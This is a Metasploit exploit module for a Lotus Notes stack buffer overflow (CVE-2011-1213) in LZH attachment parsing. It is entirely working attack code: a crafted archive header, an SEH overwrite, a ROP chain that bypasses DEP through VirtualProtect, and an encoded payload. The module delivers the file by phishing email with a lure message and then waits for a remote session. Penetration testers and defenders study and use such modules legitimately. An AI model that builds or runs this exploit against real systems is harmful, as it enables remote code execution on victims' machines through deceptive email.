Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh attachment)



##

# $Id: lotusnotes_lzh.rb 13015 2011-06-23 15:43:54Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ManualRanking # needs client interaction and permanent listener

    #
    # This module sends email messages via smtp
    #
    include Msf::Exploit::Remote::SMTPDeliver
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview(.lzh attachment)',
            'Description'    => %q{
                This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
                parsing a malformed, specially crafted LZH file. This vulnerability was
                discovered binaryhouse.net

            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'binaryhouse.net',        # original discovery
                    'alino <26alino@gmail.com>',    # Metasploit module
                ],
            'Version'        => '$Revision: 13015 $',
            'References'     =>
                [
                    ['CVE', '2011-1213'],
                    ['OSVDB', '72706'],
                    ['BID', '48018'],
                    ['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
                    ['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
                ],
            'Stance'         => Msf::Exploit::Stance::Passive,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Platform'       => ['win'],
            'Targets'        =>
                [
                    [ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
                        {
                            'Offset' => 6741,
                            'Ret'    => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
                        }
                    ],
                    
                    [ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
                        {
                            'Offset' => 6745,
                            'Ret'    => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
                        }
                    ],
                ],
            'DisclosureDate' => 'May 24 2011',
            'DefaultTarget'  => 0))

        register_options(
            [
                #
                # Email options
                #
                OptString.new('FILENAME',
                    [false, 'Sets the attachment file name', 'data.lzh']),
                OptString.new('MESSAGE',
                    [false, 'Email message text', 'Important message, please view attachment!'])
            ], self.class)
        register_advanced_options(
            [
                OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
                OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
            ], self.class)
    end

    def exploit

        header =  "\x08"        # Size of archived file header <-- 8 - 13 = FFFFFFF6
        header << "\x1a"        # 1 byte Header checksum
        header << "-lh0-"        # Method ID (No compression)
        header << "\x7c\x1a\x00\x00"    # Compressed file size
        header << "\x7c\x1a\x00\x00"    # Uncompressed file size
        header << "\xB2\x5e\xab\x3c"    # Original file date/time
        header << "\x20"        # File attribute
        header << "\x00"        # Level identifier
        header << "\x07"        # File name length
        header << "poc.txt"        # File name
        header << "\x25\x7d"        # 16 bit CRC of the uncompressed file

        lzh =  header 
        lzh << rand_text(target['Offset'])

        if (target == targets[0])

            lzh << generate_seh_record(target.ret)
            lzh << make_nops(8)
            lzh << payload.encoded

        elsif (target == targets[1])

            rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll

            rop_gadgets =
            [
                0x60524404, # POP EAX; RETN nnotes.dll
                0x7c37a140, # VirtualProtect() 
                0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
                0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
                0x60620001, # POP EBP; RETN nnotes.dll
                0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
                0x7c34280f, # POP EBX; RETN MSVCR71.dll
                0x00001954, # dwSize
                0x780ea001, # POP ECX; RETN MSVCP60.dll
                0x7c38b000, # lpflOldProtect
                0x60e73200, # POP EDI; RETN nnotes.dll
                0x60e73201, # RETN nnotes.dll
                0x601d5f02, # POP EDX; RETN nnotes.dll
                0x00000040, # flNewProtect
                0x60524404, # POP EAX; RETN nnotes.dll
                0x90909090, # NOP
                0x60820801, # PUSHAD; RETN nnotes.dll
            ].pack("V*")

            lzh << [target.ret].pack('V')
            lzh[32, rop_nop.length] = rop_nop
            lzh[220, rop_gadgets.length] = rop_gadgets
            lzh[289, payload.encoded.length] = payload.encoded
        end

        name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10)+1) + ".lzh"
        data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32)+1)

        msg = Rex::MIME::Message.new
        msg.mime_defaults
        msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
        msg.to = datastore['MAILTO']
        msg.from = datastore['MAILFROM']

        msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
        msg.add_part_attachment(lzh, name)

        send_message(msg.to_s)

        print_status("Waiting for a payload session (backgrounding)...")

        if not datastore['ExitOnSession'] and not job_id
            raise RuntimeError, "Setting ExitOnSession to false requires running as a job (exploit -j)"
        end

        stime = Time.now.to_f
        print_status "Starting the payload handler..."
        while(true)
            break if session_created? and datastore['ExitOnSession']
            break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )

            select(nil,nil,nil,1)
        end
    end
end